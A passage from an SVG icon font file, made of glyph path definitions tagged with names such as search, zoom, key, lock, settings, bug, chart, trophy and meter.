	S 245.7,160, 238,160z M 404.25-36L 295.75-36 c-8.662,0-15.75,6.3-15.75,14s 7.087,14, 15.75,14l 108.5,0 c 8.662,0, 15.75-6.3, 15.75-14S 412.912-36, 404.25-36z" data-tags="binoculars, lookup, search, find" />
<glyph unicode="&#xe07f;" d="M 434.115,2.764L 327.998,93.018c-10.97,9.873-22.702,14.405-32.179,13.968C 320.869,136.328, 336,174.395, 336,216
	C 336,308.784, 260.784,384, 168,384C 75.217,384,0,308.784,0,216c0-92.784, 75.216-168, 168-168c 41.605,0, 79.672,15.131, 109.014,40.182
	c-0.438-9.477, 4.095-21.209, 13.968-32.179l 90.254-106.117c 15.453-17.17, 40.697-18.617, 56.096-3.218S 451.285-12.689, 434.115,2.764z
	 M 168,104c-61.855,0-112,50.145-112,112S 106.145,328, 168,328s 112-50.145, 112-112S 229.856,104, 168,104z" data-tags="search, magnifier, lookup, find" />
<glyph unicode="&#xe080;" d="M 434.115,2.764L 327.998,93.018c-10.97,9.873-22.702,14.405-32.179,13.968C 320.869,136.328, 336,174.395, 336,216
		C 336,308.784, 260.784,384, 168,384C 75.217,384,0,308.784,0,216c0-92.784, 75.216-168, 168-168c 41.605,0, 79.672,15.131, 109.014,40.182
		c-0.438-9.477, 4.095-21.209, 13.968-32.179l 90.254-106.117c 15.453-17.17, 40.697-18.617, 56.096-3.218S 451.285-12.689, 434.115,2.764
		z M 168,104c-61.855,0-112,50.145-112,112S 106.145,328, 168,328s 112-50.145, 112-112S 229.856,104, 168,104zM 196,300L 140,300L 140,244L 84,244L 84,188L 140,188L 140,132L 196,132L 196,188L 252,188L 252,244L 196,244 	z" data-tags="zoom in, enlarge, scale" />
<glyph unicode="&#xe081;" d="M 434.115,2.764L 327.998,93.018c-10.97,9.873-22.702,14.405-32.179,13.968C 320.869,136.328, 336,174.395, 336,216
		C 336,308.784, 260.784,384, 168,384C 75.217,384,0,308.784,0,216c0-92.784, 75.216-168, 168-168c 41.605,0, 79.672,15.131, 109.014,40.182
		c-0.438-9.477, 4.095-21.209, 13.968-32.179l 90.254-106.117c 15.453-17.17, 40.697-18.617, 56.096-3.218S 451.285-12.689, 434.115,2.764
		z M 168,104c-61.855,0-112,50.145-112,112S 106.145,328, 168,328s 112-50.145, 112-112S 229.856,104, 168,104zM 84,244L 252,244L 252,188L 84,188z" data-tags="zoom out, smaller, scale, reduce" />
<glyph unicode="&#xe082;" d="M 448,384 L 448,216 L 387.511,276.489 L 294.761,183.739 L 247.739,230.761 L 340.489,323.511 L 280,384 ZM 107.511,323.511 L 200.261,230.761 L 153.239,183.739 L 60.489,276.489 L 0,216 L 0,384 L 168,384 ZM 387.511,43.511 L 448,104 L 448-64 L 280-64 L 340.489-3.511 L 247.739,89.239 L 294.761,136.261 ZM 200.261,89.239 L 107.511-3.511 L 168-64 L 0-64 L 0,104 L 60.489,43.511 L 153.239,136.261 Z" data-tags="expand, enlarge, maximize, fullscreen" />
<glyph unicode="&#xe083;" d="M 28,132 L 196,132 L 196-36 L 135.511,24.489 L 47.136-63.886 L 0.114-16.864 L 88.489,71.511 ZM 359.511,71.511 L 447.886-16.864 L 400.864-63.886 L 312.489,24.489 L 252-36 L 252,132 L 420,132 ZM 420,188 L 252,188 L 252,356 L 312.489,295.511 L 400.864,383.886 L 447.886,336.864 L 359.511,248.489 ZM 135.511,295.511 L 196,356 L 196,188 L 28,188 L 88.489,248.489 L 0.114,336.864 L 47.136,383.886 Z" data-tags="contract, minimize, shrink, collapse" />
<glyph unicode="&#xe084;" d="M 448,384 L 448,202 L 378,272 L 294,188 L 252,230 L 336,314 L 266,384 ZM 196,90 L 112,6 L 182-64 L 0-64 L 0,118 L 70,48 L 154,132 Z" data-tags="expand, enlarge, maximize, fullscreen" />
<glyph unicode="&#xe085;" d="M 196,132 L 196-50 L 126,20 L 42-64 L 0-22 L 84,62 L 14,132 ZM 448,342 L 364,258 L 434,188 L 252,188 L 252,370 L 322,300 L 406,384 Z" data-tags="contract, minimize, shrink, collapse" />
<glyph unicode="&#xe086;" d="M 438.433,246.519l-44.234,44.233c-10.847,10.847-28.599,28.598-39.446,39.447l-44.234,44.233
	c-10.847,10.847-30.167,12.76-42.932,4.251L 146.646,298.055c-12.764-8.51-17.595-26.7-10.735-40.421l 30.838-61.676
	c 0.942-1.884, 2.033-3.892, 3.233-5.976L 14,34L0-64l 84,0 l0,28 l 56,0 l0,56 l 56,0 l0,56l 56,0 l0,31.144 c 2.798-1.668, 5.484-3.157, 7.959-4.394
	l 61.674-30.838c 13.723-6.861, 31.911-2.029, 40.421,10.735l 80.629,120.942C 451.194,216.352, 449.279,235.671, 438.433,246.519z
	 M 65.9,10.101l-19.799,19.799l 136.313,136.312l 19.799-19.799L 65.9,10.101z M 401.196,198.603l-19.8-19.8
	c-5.445-5.444-14.354-5.444-19.799,0L 242.804,297.598c-5.445,5.444-5.445,14.354,0,19.799l 19.8,19.8
	c 5.445,5.444, 14.354,5.444, 19.799,0L 401.196,218.402C 406.641,212.958, 406.641,204.048, 401.196,198.603z" data-tags="key, password, login, log in, signin, sign in" />
<glyph unicode="&#xe087;" d="M 308,384c-77.319,0-140-62.68-140-140c0-8.761, 0.813-17.332, 2.352-25.648L0,48l0-84 c0-15.464, 12.536-28, 28-28
	l 28,0 l0,28 l 56,0 l0,56 l 56,0 l0,56 l 56,0 l 36.331,36.331C 275.21,106.943, 291.26,104, 308,104c 77.319,0, 140,62.68, 140,140S 385.319,384, 308,384z
	 M 349.945,243.945c-23.196,0-42,18.804-42,42s 18.804,42, 42,42s 42-18.804, 42-42S 373.141,243.945, 349.945,243.945z" data-tags="key, password, login, log in, signin, sign in" />
<glyph unicode="&#xe088;" d="M 364,188l-28,0 l0,84 C 336,333.855, 285.856,384, 224,384c-61.855,0-112-50.145-112-112l0-84 L 84,188 c-15.4,0-28-12.6-28-28l0-196 
	c0-15.4, 12.6-28, 28-28l 280,0 c 15.4,0, 28,12.6, 28,28L 392,160 C 392,175.4, 379.4,188, 364,188z M 224,20c-15.464,0-28,12.536-28,28
	s 12.536,28, 28,28s 28-12.536, 28-28S 239.464,20, 224,20z M 280,188L 168,188 l0,84 c0,30.879, 25.121,56, 56,56s 56-25.121, 56-56L 280,188 z" data-tags="lock, secure, private, encrypted" />
<glyph unicode="&#xe089;" d="M 259,188l-7,0 l0,84 c0,46.318-37.682,84-84,84l-56,0 c-46.318,0-84-37.682-84-84l0-84 l-7,0 c-11.55,0-21-9.45-21-21l0-210 
	c0-11.55, 9.45-21, 21-21l 238,0 c 11.55,0, 21,9.45, 21,21L 280,167 C 280,178.55, 270.55,188, 259,188z M 168-8l-56,0 l 12.18,60.9
	C 116.826,57.945, 112,66.407, 112,76c0,15.464, 12.536,28, 28,28c 15.464,0, 28-12.536, 28-28c0-9.593-4.827-18.055-12.18-23.1L 168-8
	z M 196,188L 84,188 l0,84 c0,15.439, 12.561,28, 28,28l 56,0 c 15.439,0, 28-12.561, 28-28L 196,188 z" data-tags="lock, secure, private, encrypted" />
<glyph unicode="&#xe08a;" d="M 336,356l-56,0 c-46.318,0-84-37.682-84-84l0-84 L 21,188 c-11.55,0-21-9.45-21-21l0-210 c0-11.55, 9.45-21, 21-21l 238,0 c 11.55,0, 21,9.45, 21,21L 280,167 
	c0,11.55-9.45,21-21,21l-7,0 l0,84 c0,15.439, 12.561,28, 28,28l 56,0 c 15.439,0, 28-12.561, 28-28l0-84 l 56,0 l0,84 C 420,318.318, 382.318,356, 336,356z
	 M 168-8l-56,0 l 12.18,60.9C 116.826,57.945, 112,66.407, 112,76c0,15.464, 12.536,28, 28,28c 15.464,0, 28-12.536, 28-28
	c0-9.593-4.827-18.055-12.18-23.1L 168-8z" data-tags="unlocked, lock" />
<glyph unicode="&#xe08b;" d="M 438.784,26.179l-201.492,172.707C 246.676,216.517, 252,236.635, 252,258C 252,327.588, 195.588,384, 126,384
	c-12.729,0-25.013-1.895-36.595-5.405l 72.796-72.796c 10.889-10.889, 10.889-28.709,0-39.598l-44.402-44.402
	c-10.889-10.889-28.709-10.889-39.598,0L 5.405,294.595C 1.895,283.013,0,270.729,0,258c0-69.588, 56.412-126, 126-126
	c 21.365,0, 41.483,5.324, 59.113,14.709l 172.707-201.492c 10.022-11.692, 27.132-12.349, 38.020-1.46l 44.403,44.403
	C 451.133-0.952, 450.475,16.157, 438.784,26.179z" data-tags="wrench, settings, control, tool, options, preferences, fix" />
<glyph unicode="&#xe08c;" d="M 196,328l0,7 c0,11.55-9.45,21-21,21l-70,0 c-11.55,0-21-9.45-21-21l0-7 L0,328 l0-56 l 84,0 l0-7 c0-11.55, 9.45-21, 21-21l 70,0 c 11.55,0, 21,9.45, 21,21l0,7 
		l 252,0 L 448,328 L 196,328 z M 112,272L 112,328 l 56,0 l0-56 L 112,272 zM 364,195c0,11.55-9.45,21-21,21l-70,0 c-11.55,0-21-9.45-21-21l0-7 L0,188 l0-56 l 252,0 l0-7 c0-11.55, 9.45-21, 21-21l 70,0 c 11.55,0, 21,9.45, 21,21l0,7 
		l 84,0 l0,56 l-84,0 L 364,195 z M 280,132l0,56 l 56,0 l0-56 L 280,132 zM 196,55c0,11.55-9.45,21-21,21l-70,0 c-11.55,0-21-9.45-21-21l0-7 L0,48 l0-56 l 84,0 l0-7 c0-11.55, 9.45-21, 21-21l 70,0 c 11.55,0, 21,9.45, 21,21l0,7 
		l 252,0 l0,56 L 196,48 L 196,55 z M 112-8l0,56 l 56,0 l0-56 L 112-8 z" data-tags="settings, preferences, options" />
<glyph unicode="&#xe08d;" d="M 392,188l 7,0 c 11.55,0 21,9.45 21,21l0,70 c0,11.55-9.45,21-21,21l-7,0 L 392,384 l-56,0 l 0-84 l-7,0 c-11.55,0, -21-9.45, -21-21l 0-70 c 0-11.55, 9.45-21, 21-21l 7,0 
		l 0-252 L 392-64 L 392,188 z M 336,272L 392,272 l 0-56 l-56,0 L 336,272 zM 259,20c 11.55,0 21,9.45 21,21l0,70 c0,11.55-9.45,21-21,21l-7,0 L 252,384 l-56,0 l 0-252 l-7,0 c-11.55,0, -21-9.45, -21-21l 0-70 c 0-11.55, 9.45-21, 21-21l 7,0 
		l 0-84 l 56,0 l0,84 L 259,20 z M 196,104l 56,0 l 0-56 l-56,0 L 196,104 zM 119,188c 11.55,0 21,9.45 21,21l0,70 c0,11.55-9.45,21-21,21l-7,0 L 112,384 l-56,0 l 0-84 l-7,0 c-11.55,0, -21-9.45, -21-21l 0-70 c 0-11.55, 9.45-21, 21-21l 7,0 
		l 0-252 l 56,0 L 112,188 L 119,188 z M 56,272l 56,0 l 0-56 l-56,0 L 56,272 z" data-tags="equalizer, control, options, settings, dashboard" />
<glyph unicode="&#xe08e;" d="M 408.533,117.016c-23.505,40.711-9.37,92.883, 31.567,116.588l-44.024,76.253c-12.578-7.374-27.202-11.602-42.808-11.602
	c-47.047,0-85.185,38.389-85.185,85.746L 180.033,384.001 c 0.116-14.617-3.532-29.436-11.357-42.985
	c-23.504-40.712-75.756-54.557-116.752-30.957L 7.901,233.806c 12.674-7.207, 23.647-17.757, 31.45-31.272
	c 23.467-40.647, 9.412-92.715-31.372-116.473l 44.024-76.253c 12.534,7.305, 27.088,11.486, 42.613,11.486
	c 46.898,0, 84.938-38.146, 85.181-85.294l 88.049,0 c-0.038,14.47, 3.619,29.124, 11.36,42.533
	c 23.466,40.646, 75.59,54.51, 116.556,31.068l 44.024,76.252C 427.194,93.057, 416.295,103.571, 408.533,117.016z M 224,69.292
	c-50.097,0-90.71,40.611-90.71,90.709c0,50.097, 40.611,90.709, 90.71,90.709c 50.097,0, 90.708-40.611, 90.708-90.709
	C 314.707,109.903, 274.097,69.292, 224,69.292z" data-tags="cog, preferences, settings, gear, generate, control, options" />
<glyph unicode="&#xe08f;" d="M 159.128,68.102l 18.068,25.294l-19.799,19.8l-25.295-18.067c-4.691,2.622-9.714,4.714-14.991,6.209L 112,132L 84,132 
		l-5.11-30.663c-5.277-1.495-10.3-3.587-14.991-6.209L 38.603,113.196L 18.804,93.397l 18.068-25.294
		c-2.622-4.69-4.714-9.715-6.209-14.991L0,48l0-28 l 30.663-5.111c 1.495-5.276, 3.587-10.3, 6.209-14.991L 18.804-25.397l 19.799-19.8
		l 25.295,18.067c 4.691-2.622, 9.714-4.714, 14.991-6.209L 84-64l 28,0 l 5.11,30.663c 5.277,1.495, 10.3,3.587, 14.991,6.209l 25.295-18.067
		l 19.799,19.8l-18.068,25.294c 2.622,4.69, 4.714,9.715, 6.209,14.991L 196,20l0,28 l-30.663,5.111
		C 163.842,58.387, 161.751,63.411, 159.128,68.102z M 98,6c-15.465,0-28,12.536-28,28s 12.535,28, 28,28s 28-12.536, 28-28
		S 113.465,6, 98,6zM 448,216l0,28 l-29.48,5.359c-0.543,3.52-1.239,6.99-2.067,10.408l 25.182,16.231L 430.92,301.867l-29.288-6.33
		c-1.844,3.023-3.818,5.959-5.903,8.807l 17.065,24.65l-19.8,19.799l-24.65-17.065c-2.849,2.085-5.784,4.058-8.807,5.904
		l 6.33,29.288L 340,377.635l-16.231-25.182c-3.418,0.828-6.888,1.523-10.408,2.067L 308,384l-28,0 l-5.36-29.48
		c-3.52-0.543-6.99-1.239-10.408-2.067L 248.001,377.635L 222.133,366.92l 6.33-29.288c-3.023-1.845-5.959-3.818-8.807-5.904
		l-24.65,17.065l-19.799-19.799l 17.065-24.65c-2.085-2.848-4.059-5.784-5.904-8.807l-29.288,6.33l-10.715-25.869l 25.182-16.231
		c-0.828-3.418-1.523-6.887-2.067-10.408L 140,244l0-28 l 29.48-5.359c 0.543-3.52, 1.239-6.99, 2.067-10.408l-25.182-16.231
		l 10.715-25.869l 29.288,6.33c 1.845-3.023, 3.818-5.958, 5.904-8.807l-17.065-24.65l 19.799-19.8l 24.65,17.065
		c 2.848-2.085, 5.784-4.058, 8.807-5.903l-6.33-29.288l 25.869-10.715l 16.232,25.182c 3.417-0.828, 6.887-1.523, 10.407-2.067L 280,76l 28,0 
		l 5.36,29.48c 3.519,0.543, 6.99,1.239, 10.408,2.067l 16.231-25.182l 25.869,10.715l-6.33,29.288
		c 3.023,1.845, 5.959,3.818, 8.807,5.903l 24.65-17.065l 19.8,19.8l-17.065,24.65c 2.085,2.849, 4.058,5.784, 5.903,8.807
		l 29.288-6.33l 10.715,25.869l-25.182,16.231c 0.828,3.418, 1.523,6.887, 2.067,10.408L 448,216z M 294,169.1
		c-33.634,0-60.9,27.266-60.9,60.9c0,33.634, 27.265,60.9, 60.9,60.9s 60.9-27.266, 60.9-60.9C 354.9,196.366, 327.635,169.1, 294,169.1z" data-tags="cogs, settings, gears, generate, control, options" />
<glyph unicode="&#xe090;" d="M 448,117.959l0,84.082 l-64.214,10.702c-2.607,7.933-5.785,15.605-9.491,22.969l 37.824,52.952l-59.454,59.455l-52.861-37.758
		c-7.398,3.742-15.11,6.951-23.086,9.582L 266.041,384l-84.082,0 l-10.676-64.057c-7.976-2.631-15.688-5.84-23.085-9.582
		l-52.862,37.758l-59.455-59.455l 37.824-52.953c-3.706-7.363-6.884-15.035-9.49-22.968L0,202.041l0-84.082 l 64.364-10.727
		c 2.607-7.861, 5.779-15.465, 9.468-22.763l-37.952-53.133l 59.455-59.454l 53.224,38.016c 7.263-3.653, 14.827-6.793, 22.647-9.377
		L 181.959-64l 84.082,0 l 10.753,64.52c 7.82,2.584, 15.383,5.724, 22.648,9.377l 53.223-38.015l 59.454,59.454l-37.95,53.133
		c 3.689,7.298, 6.859,14.902, 9.468,22.764L 448,117.959z M 224,104c-30.928,0-56,25.071-56,56c0,30.928, 25.072,56, 56,56
		c 30.929,0, 56-25.072, 56-56C 280,129.071, 254.929,104, 224,104z" data-tags="cog, preferences, settings, gear, generate, control, options" />
<glyph unicode="&#xe091;" d="M 441.873,21.323L 309.948,153.248c-8.167,8.167-21.531,8.167-29.698,0l-9.899-9.899l-80.5,80.5L 322,356L 182,356 l-62.15-62.15
	L 113.698,300L 84,300 l0-29.698 l 6.15-6.15L0,174l 70-70l 90.15,90.15l 80.5-80.5l-9.899-9.899c-8.167-8.167-8.167-21.531,0-29.698
	l 131.925-131.925c 8.167-8.167, 21.531-8.167, 29.698,0l 49.497,49.497C 450.041-0.209, 450.041,13.156, 441.873,21.323z" data-tags="hammer, tool, fix, make, generate, work, build" />
<glyph unicode="&#xe092;" d="M 112,300L 56,356L 28,356L 28,328L 84,272 	zM 140,384L 168,384L 168,328L 140,328zM 252,244L 308,244L 308,216L 252,216zM 280,328L 280,356L 252,356L 196,300L 224,272 	zM0,244L 56,244L 56,216L0,216zM 140,132L 168,132L 168,76L 140,76zM 28,132L 28,104L 56,104L 112,160L 84,188 	zM 441.875-1.875L 163.573,276.427c-8.167,8.167-21.531,8.167-29.698,0L 107.573,250.125c-8.167-8.167-8.167-21.531,0-29.698L 385.875-57.875
		c 8.167-8.167, 21.531-8.167, 29.698,0L 441.875-31.573C 450.042-23.406, 450.042-10.042, 441.875-1.875z M 210,146l-84,84l 28,28l 84-84L 210,146z" data-tags="wand, magic, wizard" />
<glyph unicode="&#xe093;" d="M 392,272l-84,0 L 308,328 c0,15.4-12.6,28-28,28L 168,356 c-15.4,0-28-12.6-28-28l0-56 L 56,272 c-30.8,0-56-25.2-56-56l0-224 c0-30.8, 25.2-56, 56-56l 336,0 
	c 30.8,0, 56,25.2, 56,56L 448,216 C 448,246.8, 422.8,272, 392,272z M 168,328l 112,0 l0-56 L 168,272 L 168,328 z M 336,76l-84,0 l0-84 l-56,0 l0,84 l-84,0 l0,56 l 84,0 l0,84 l 56,0 l0-84 l 84,0 
	L 336,76 z" data-tags="aid, medicine, medical, kit, health" />
<glyph unicode="&#xe094;" d="M 448,132l0,28 l-84.564,0 c-2.565,31.8-13.906,60.824-31.356,84.109l 70.85,0 l 30.651,122.605l-27.164,6.791l-25.349-101.395l-76.422,0 
	c-0.39,0.304-0.786,0.601-1.18,0.899c 2.936,8.532, 4.533,17.685, 4.533,27.21C 308,346.49, 270.392,384, 224,384s-84-37.51-84-83.781
	c0-9.525, 1.597-18.678, 4.533-27.21c-0.394-0.299-0.789-0.596-1.18-0.899l-76.422,0 l-25.349,101.395l-27.164-6.791l 30.651-122.605l 70.85,0 
	C 98.47,220.824, 87.129,191.8, 84.564,160L0,160 l0-28 l 84.599,0 c 1.663-19.978, 6.785-38.855, 14.717-55.891L 45.070,76.109 l-30.651-122.604
	l 27.164-6.792l 25.349,101.396l 49.155,0 C 141.764,13.97, 180.572-7.781, 224-7.781s 82.235,21.752, 107.915,55.891l 49.155,0 l 25.349-101.396
	l 27.164,6.792l-30.651,122.604l-54.247,0 c 7.932,17.035, 13.053,35.913, 14.716,55.891L 448,132 z" data-tags="bug, virus, error" />
<glyph unicode="&#xe095;" d="M 196,132L 196,328 C 87.752,328,0,240.248,0,132s 87.752-196, 196-196s 196,87.752, 196,196c0,31.515-7.45,61.287-20.666,87.667
		L 196,132zM 399.334,275.667C 367.155,339.899, 300.733,384, 224,384l0-196 L 399.334,275.667z" data-tags="pie, statistics, stats, chart, graph" />
<glyph unicode="&#xe096;" d="M 56-8 L 448-8 L 448-64 L 0-64 L 0,384 L 56,384 ZM 126,20 C 102.804,20 84,38.804 84,62 C 84,85.196 102.804,104 126,104 C 127.237,104 128.46,103.935 129.67,103.831 L 174.816,179.075 C 170.511,185.668 168,193.54 168,202.001 C 168,225.197 186.804,244.001 210,244.001 C 233.196,244.001 252,225.197 252,202.001 C 252,193.539 249.489,185.668 245.184,179.075 L 290.33,103.831 C 291.54,103.935 292.763,104 294,104 C 294.934,104 295.859,103.959 296.778,103.899 L 371.309,234.328 C 366.699,241.069 364,249.219 364,258.001 C 364,281.197 382.804,300.001 406,300.001 C 429.196,300.001 448,281.197 448,258.001 C 448,234.805 429.196,216.001 406,216.001 C 405.064,216.001 404.141,216.042 403.222,216.102 L 328.691,85.673 C 333.301,78.933 336,70.782 336,62 C 336,38.804 317.196,20 294,20 C 270.804,20 252,38.804 252,62 C 252,70.461 254.511,78.333 258.815,84.926 L 213.67,160.169 C 212.46,160.065 211.237,160 210,160 C 208.763,160 207.54,160.064 206.33,160.169 L 161.184,84.925 C 165.489,78.333 168,70.461 168,62 C 168,38.804 149.196,20 126,20 Z" data-tags="stats, graph, plot, statistics, chart" />
<glyph unicode="&#xe097;" d="M0,20L 448,20L 448-36L0-36zM 56,132L 112,132L 112,48L 56,48zM 140,244L 196,244L 196,48L 140,48zM 224,160L 280,160L 280,48L 224,48zM 308,328L 364,328L 364,48L 308,48z" data-tags="bars, statistics, stats, chart, graph" />
<glyph unicode="&#xe098;" d="M 126,216L 42,216 c-7.7,0-14-6.3-14-14l0-252 c0-7.7, 6.3-14, 14-14l 84,0 c 7.7,0, 14,6.3, 14,14L 140,202 C 140,209.7, 133.7,216, 126,216z M 126-36
		L 42-36 L 42,76 l 84,0 L 126-36 zM 266,272l-84,0 c-7.7,0-14-6.3-14-14l0-308 c0-7.7, 6.3-14, 14-14l 84,0 c 7.7,0, 14,6.3, 14,14L 280,258 C 280,265.7, 273.7,272, 266,272z
		 M 266-36l-84,0 L 182,104 l 84,0 L 266-36 zM 406,328l-84,0 c-7.7,0-14-6.3-14-14l0-364 c0-7.7, 6.3-14, 14-14l 84,0 c 7.7,0, 14,6.3, 14,14L 420,314 C 420,321.7, 413.7,328, 406,328z M 406-36l-84,0 
		L 322,132 l 84,0 L 406-36 z" data-tags="bars, stats, statistics, chart, graph" />
<glyph unicode="&#xe099;" d="M 337.538,244c 7.93,5.635, 15.537,11.907, 22.507,18.877c 14.613,14.613, 24.389,32.594, 27.524,50.628
	c 3.438,19.769-1.607,38.124-13.838,50.356c-9.756,9.755-22.973,14.913-38.222,14.913c-21.714,0-44.591-10.423-62.764-28.596
	c-29.083-29.083-46.036-69.229-55.158-97.878c-6.755,28.788-20.215,67.657-46.383,93.825C 157.163,360.166, 139.217,367.375, 122.272,367.375
	c-13.849,0-27.029-4.814-36.864-14.65c-21.869-21.87-18.914-60.281, 6.6-85.796c 9.097-9.097, 19.73-16.652, 30.94-22.93L 28,243.999 l0-112 
	l 28,0 l0-196 l 336,0 L 392,132 l 28,0 L 420,244 L 337.538,244 z M 295.018,327.905c 12.129,12.129, 27.266,19.37, 40.491,19.37c 4.681,0, 11.247-0.986, 15.947-5.687
	c 11.388-11.387, 4.993-37.76-13.685-56.437c-19.226-19.226-45.089-32.449-67.564-41.151l-22.169,0 
	C 256.161,269.177, 270.813,303.7, 295.018,327.905z M 102.346,313.611c-0.307,3.99-0.022,11.484, 5.336,16.841
	C 112.164,334.934, 118.089,335.875, 122.272,335.875l0,0 c 9.3,0, 19.017-4.382, 26.658-12.023c 14.819-14.819, 27.023-38.4, 35.292-68.196
	c 0.223-0.805, 0.441-1.606, 0.654-2.4c-0.794,0.213-1.595,0.43-2.4,0.654c-29.796,8.271-53.376,20.474-68.195,35.293
	C 107.356,296.128, 103.007,305.024, 102.346,313.611z M 196-36L 84-36 L 84,146 l 112,0 L 196-36 z M 196,160L 56,160 l0,56 l 140,0 L 196,160 z M 364-36L 252-36 L 252,146 l 112,0 L 364-36 z
	 M 392,160L 252,160 l0,56 l 140,0 L 392,160 z" data-tags="gift, box, present" />
<glyph unicode="&#xe09a;" d="M 364,300L 364,356 L 84,356 l0-56 L0,300 l0-28 l0-28 c0-46.392, 37.607-84, 84-84c 8.783,0, 17.251,1.35, 25.209,3.851
	c 20.201-28.878, 51.016-49.786, 86.791-57.048L 196,20 l-28,0 c-30.929,0-56-25.071-56-56l 224,0 c0,30.929-25.071,56-56,56l-28,0 l0,86.803 
	c 35.775,7.263, 66.59,28.169, 86.791,57.048C 346.749,161.35, 355.217,160, 364,160c 46.393,0, 84,37.608, 84,84l0,28 L 448,300 L 364,300 z M 84,193.25
	c-27.983,0-50.75,22.767-50.75,50.75l0,28 l 50.75,0 l0-28 c0-17.581, 3.251-34.401, 9.167-49.905C 90.191,193.55, 87.131,193.25, 84,193.25z M 414.75,244
	c0-27.983-22.767-50.75-50.75-50.75c-3.131,0-6.191,0.3-9.167,0.845C 360.749,209.599, 364,226.419, 364,244l0,28 l 50.75,0 L 414.75,244 z" data-tags="trophy, cup, prize, award, winner, tournament" />
<glyph unicode="&#xe09b;" d="M 266,216 C 252,202 252,202 252,188 L 252-8 L 308-8 C 323.464-8 336-20.536 336-36 L 112-36 C 112-20.536 124.536-8 140-8 L 196-8 L 196,188 C 196,202 196,202 182,216 L 61.799,336.201 C 50.909,347.091 54.6,356 70,356 L 378,356 C 393.4,356 397.090,347.091 386.201,336.201 L 266.004,216.004 C 266.003,216.003 266.002,216.001 266,216 Z" data-tags="glass, drink, beverage" />
<glyph unicode="&#xe09c;" d="M 364,244l-28,0 l0,42 c0,38.66-75.216,70-168,70C 75.216,356,0,324.66,0,286l0-252 c0-38.66, 75.216-70, 168-70
	c 92.784,0, 168,31.34, 168,70l0,42 l 28,0 c 46.2,0, 84,37.8, 84,84S 410.2,244, 364,244z M 77.025,301.049C 102.374,309.401, 134.683,314, 168,314
	s 65.627-4.599, 90.975-12.951c 16.185-5.332, 25.991-11.045, 31.242-15.049c-5.251-4.004-15.057-9.716-31.242-15.049
	C 233.627,262.599, 201.317,258, 168,258s-65.626,4.599-90.975,12.951C 60.84,276.284, 51.033,281.996, 45.783,286
	C 51.033,290.004, 60.84,295.716, 77.025,301.049z M 395.659,135.341C 391.797,131.478, 383.457,125, 371,125l-35,0 l0,70 l 35,0 
	c 12.457,0, 20.797-6.479, 24.659-10.342S 406,172.457, 406,160S 399.522,139.203, 395.659,135.341z" data-tags="mug, glass, beverage" />
<glyph unicode="&#xe09d;" d="M 378,384c-38.663,0-70-31.339-70-70l0-210 l 56,0 l0-168 l 84,0 L 448,314 C 448,352.661, 416.66,384, 378,384zM 182,384c-7.733,0-14-6.268-14-14l0-98 c0-3.866-6.268-7-14-7c-7.733,0-14,3.134-14,7L 140,370 c0,7.732-6.268,14-14,14
		c-7.732,0-14-6.268-14-14l0-98 c0-3.866-6.268-7-14-7c-7.732,0-14,3.134-14,7L 84,370 c0,7.732-6.268,14-14,14c-7.732,0-14-6.268-14-14l0-98 
		c0-3.866-6.268-7-14-7s-14,3.134-14,7L 28,370 c0,7.732-6.268,14-14,14S0,377.732,0,370l0-98 l0-28 c0-12.389, 10.963-19.298, 23.189-28
		C 38.594,205.034, 56,191.222, 56,160l0-224 l 84,0 L 140,160 c0,31.222, 17.406,45.035, 32.809,56C 185.035,224.702, 196,231.611, 196,244l0,28 L 196,370 
		C 196,377.732, 189.732,384, 182,384z" data-tags="food, knife, fork, dinner, lunch, restaurant" />
<glyph unicode="&#xe09e;" d="M 313.927,384c-73.834-122.056-132.256-62.030-217.696-149.813c-75.397-77.466-49.255-170.759, 14.229-202.888
		c 62.663,32.020, 126.773,103.61, 174.322,207.254c0,0, 42.729-130.875-88.152-256.976c 63.555-74.44, 171.425-22.65, 201.568,95.777
		C 430.966,206.099, 345.529,337.183, 313.927,384zM 42.443-38.731C 42.493-40.002, 43.94-64, 75.415-64c 22.901,0, 139.052,63.297, 198.741,227.589
		C 183.84,3.808, 52.729-35.84, 42.443-38.731z" data-tags="leaf, nature, green" />
<glyph unicode="&#xe09f;" d="M 308,356L 168,216L 84,216 L0,104c0,0, 88.995,24.785, 140.904,13.162L0-64l 184.582,143.563C 210.324,20.652, 168-64, 168-64l 112,84
	l0,84 l 140,140L 448,384L 308,356z" data-tags="rocket, speed, jet, spaceship, fast" />
<glyph unicode="&#xe0a0;" d="M 224,356 C 347.712,356 448,255.712 448,132 C 448,47.654 401.373-25.791 332.496-64 L 115.503-64 C 46.627-25.791 0,47.654 0,132 C 0,255.712 100.288,356 224,356 Z M 350.837,5.163 C 384.716,39.043 403.375,84.087 403.375,132 L 364,132 L 364,160 L 401.204,160 C 398.135,179.687 391.846,198.564 382.582,216 L 336,216 L 336,244 L 364.124,244 C 359.995,249.146 355.57,254.105 350.837,258.837 C 330.615,279.059 306.414,293.854 280,302.499 L 280,272 L 252,272 L 252,309.205 C 242.82,310.635 233.468,311.375 224,311.375 C 214.532,311.375 205.18,310.636 196,309.205 L 196,272 L 168,272 L 168,302.499 C 141.587,293.854 117.385,279.059 97.163,258.837 C 92.43,254.105 88.005,249.146 83.876,244 L 112,244 L 112,216 L 65.417,216 C 56.153,198.564 49.863,179.687 46.795,160 L 84,160 L 84,132 L 44.625,132 C 44.625,84.087 63.283,39.043 97.163,5.163 C 101.848,0.477 106.754-3.906 111.845-8 L 196-8 L 212,216 L 236,216 L 252-8 L 336.155-8 C 341.246-3.906 346.153,0.478 350.837,5.163 Z" data-tags="meter" />
<glyph unicode="&#xe0a1;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 132.491,19.058
		C 137.35,32.46, 140,46.922, 140,62c0,54.403-34.479,100.753-82.778,118.39c 4.467,37.154, 21.111,71.53, 47.984,98.404
		C 136.938,310.525, 179.126,328, 224,328s 87.063-17.476, 118.794-49.206c 26.875-26.874, 43.517-61.25, 47.986-98.404
		C 342.479,162.753, 308,116.403, 308,62c0-15.080, 2.651-29.54, 7.51-42.941C 288.514,1.453, 256.986-8, 224-8
		C 191.015-8, 159.487,1.453, 132.491,19.058zM 241.392,103.564 C 247.464,102.036 252,96.529 252,90 L 252,62 C 252,54.3 245.7,48 238,48 L 210,48 C 202.3,48 196,54.3 196,62 L 196,90 C 196,96.529 200.536,102.036 206.608,103.564 L 217,300 L 231,300 L 241.392,103.564 Z" data-tags="meter2" />
<glyph unicode="&#xe0a2;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 224-8
